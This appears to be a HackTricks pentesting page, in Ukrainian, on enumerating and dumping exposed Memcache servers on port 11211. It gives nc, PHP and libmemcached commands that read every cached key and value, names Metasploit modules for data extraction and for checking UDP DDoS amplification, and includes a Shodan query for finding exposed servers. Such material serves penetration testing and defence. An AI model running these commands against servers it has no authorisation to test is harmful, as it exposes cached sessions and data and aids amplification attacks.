11211 - Pentesting Memcache
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Протокол Інформація
З wikipedia:
Memcached (вимова: mem-cashed, mem-cash-dee) - це універсальна розподілена система кешування пам'яті. Вона часто використовується для прискорення динамічних веб-сайтів, що працюють з базами даних, шляхом кешування даних та об'єктів у RAM, щоб зменшити кількість разів, коли зовнішнє джерело даних (таке як база даних або API) повинно бути прочитане.
Хоча Memcached підтримує SASL, більшість екземплярів виставлені без аутентифікації.
Порт за замовчуванням: 11211
PORT STATE SERVICE
11211/tcp open unknown
Enumeration
Manual
Щоб ексфільтрувати всю інформацію, збережену в екземплярі memcache, вам потрібно:
- Знайти slabs з активними елементами
- Отримати імена ключів виявлених раніше slabs
- Ексфільтрувати збережені дані шляхом отримання імен ключів
Пам'ятайте, що ця служба є лише кешем, тому дані можуть з'являтися і зникати.
echo "version" | nc -vn -w 1 <IP> 11211 #Get version
echo "stats" | nc -vn -w 1 <IP> 11211 #Get status
echo "stats slabs" | nc -vn -w 1 <IP> 11211 #Get slabs
echo "stats items" | nc -vn -w 1 <IP> 11211 #Get items of slabs with info
echo "stats cachedump <number> 0" | nc -vn -w 1 <IP> 11211 #Get key names (the 0 is for unlimited output size)
echo "get <item_name>" | nc -vn -w 1 <IP> 11211 #Get saved info
#This php will just dump the keys, you need to use "get <item_name> later"
sudo apt-get install php-memcached
php -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );'
Manual2
sudo apt install libmemcached-tools
memcstat --servers=127.0.0.1 #Get stats
memcdump --servers=127.0.0.1 #Get all items
memccat --servers=127.0.0.1 <item1> <item2> <item3> #Get info inside the item(s)
Автоматичний
nmap -n -sV --script memcached-info -p 11211 <IP> #Just gather info
msf > use auxiliary/gather/memcached_extractor #Extracts saved data
msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible
Вивантаження ключів Memcache
У сфері memcache, протоколу, який допомагає організовувати дані за допомогою слебів, існують специфічні команди для перевірки збережених даних, хоча з помітними обмеженнями:
- Ключі можуть бути вивантажені лише за класом слеба, групуючи ключі схожого розміру вмісту.
- Існує обмеження в одну сторінку на клас слеба, що дорівнює 1 МБ даних.
- Ця функція є неофіційною і може бути припинена в будь-який момент, як обговорюється на форумі спільноти.
Обмеження на вивантаження лише 1 МБ з потенційно гігабайтів даних є особливо значним. Однак ця функціональність все ще може надати уявлення про патерни використання ключів, залежно від конкретних потреб. Для тих, хто менш зацікавлений у механіці, відвідування розділу інструментів відкриває утиліти для комплексного вивантаження. Альтернативно, процес використання telnet для прямої взаємодії з налаштуваннями memcached описано нижче.
Як це працює
Організація пам'яті Memcache є ключовою. Ініціювання memcache з опцією "-vv" виявляє класи слебів, які він генерує, як показано нижче:
$ memcached -vv
slab class 1: chunk size 96 perslab 10922
[...]
Щоб відобразити всі існуючі slabs, використовується наступна команда:
stats slabs
Додавання єдиного ключа до memcached 1.4.13 ілюструє, як заповнюються та управляються класи слебів. Наприклад:
set mykey 0 60 1
1
STORED
Виконання команди "stats slabs" після додавання ключа дає детальну статистику про використання слебів:
stats slabs
[...]
Цей вихід показує активні типи слебів, використані частини та оперативну статистику, надаючи уявлення про ефективність операцій читання та запису.
Ще одна корисна команда, "stats items", надає дані про виселення, обмеження пам'яті та життєві цикли елементів:
stats items
[...]
Ця статистика дозволяє робити обґрунтовані припущення про поведінку кешування додатків, включаючи ефективність кешу для різних розмірів контенту, виділення пам'яті та ємність для кешування великих об'єктів.
Вивантаження ключів
Для версій до 1.4.31 ключі вивантажуються за класом слеба за допомогою:
stats cachedump <slab class> <number of items to dump>
Наприклад, щоб вивантажити ключ у класі #1:
stats cachedump 1 1000
ITEM mykey [1 b; 1350677968 s]
END
Цей метод ітерує по класах slab, витягуючи та за бажанням вивантажуючи значення ключів.
ВИВАНТАЖЕННЯ КЛЮЧІВ MEMCACHE (ВЕРСІЯ 1.4.31+)
З версією memcache 1.4.31 та вище, введено новий, безпечніший метод для вивантаження ключів у виробничому середовищі, що використовує неблокуючий режим, як детально описано в release notes. Цей підхід генерує великий обсяг виходу, тому рекомендується використовувати команду 'nc' для підвищення ефективності. Приклади включають:
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
DUMPING TOOLS
Table from here.
Programming Languages | Tools | Functionality | ||
---|---|---|---|---|
PHP | simple script | Друкує імена ключів. | ||
Perl | simple script | Друкує ключі та значення | ||
Ruby | simple script | Друкує імена ключів. | ||
Perl | memdump | Інструмент у модулі CPAN | Memcached-libmemcached | ached/) |
PHP | memcache.php | GUI для моніторингу Memcache, який також дозволяє вивантажувати ключі | ||
libmemcached | peep | Заморожує ваш процес memcached!!! Будьте обережні, використовуючи це в продуктивному середовищі. Все ще використовуючи це, ви можете обійти обмеження в 1 МБ і дійсно вивантажити всі ключі. |
Troubleshooting
1MB Data Limit
Зверніть увагу, що до memcached 1.4 ви не можете зберігати об'єкти більші за 1 МБ через максимальний розмір плити за замовчуванням.
Never Set a Timeout > 30 Days!
Якщо ви намагаєтеся “встановити” або “додати” ключ з тайм-аутом, більшим за дозволене максимальне значення, ви можете не отримати те, що очікуєте, оскільки memcached тоді трактує значення як Unix-мітку часу. Також, якщо мітка часу в минулому, вона нічого не зробить. Ваша команда тихо зазнає невдачі.
Отже, якщо ви хочете використовувати максимальний термін служби, вкажіть 2592000. Приклад:
set my_key 0 2592000 1
1
Зникнення ключів при переповненні
Незважаючи на те, що в документації сказано про обгортання 64-бітного переповнення значення за допомогою “incr”, це призводить до зникнення значення. Його потрібно створити знову за допомогою “add”/”set”.
Реплікація
memcached сам по собі не підтримує реплікацію. Якщо вам це дійсно потрібно, вам слід використовувати рішення сторонніх розробників:
- repcached: багатоголове асинхронне реплікування (пач для memcached 1.2)
- Couchbase memcached interface: використовуйте CouchBase як заміну memcached
- yrmcds: сумісний з memcached Master-Slave сховище ключ-значення
- twemproxy (також відомий як nutcracker): проксі з підтримкою memcached
Команди Шпаргалка
Shodan
port:11211 "STAT pid"
"STAT pid"
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.